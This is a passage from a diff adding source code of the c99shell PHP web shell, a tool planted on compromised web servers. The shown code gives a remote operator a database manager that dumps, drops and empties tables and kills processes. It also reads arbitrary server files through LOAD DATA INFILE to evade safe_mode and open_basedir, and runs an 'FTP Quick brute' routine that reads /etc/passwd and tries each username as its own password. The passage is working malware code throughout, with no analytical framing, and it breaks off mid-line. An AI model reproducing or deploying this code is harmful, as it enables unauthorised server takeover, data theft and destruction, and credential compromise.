htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = true; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,strlen($sql_query)-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = false; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = true; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = true; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>�</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = false; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));} + else {$true = true;} + if ($true) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return true; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = false;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y 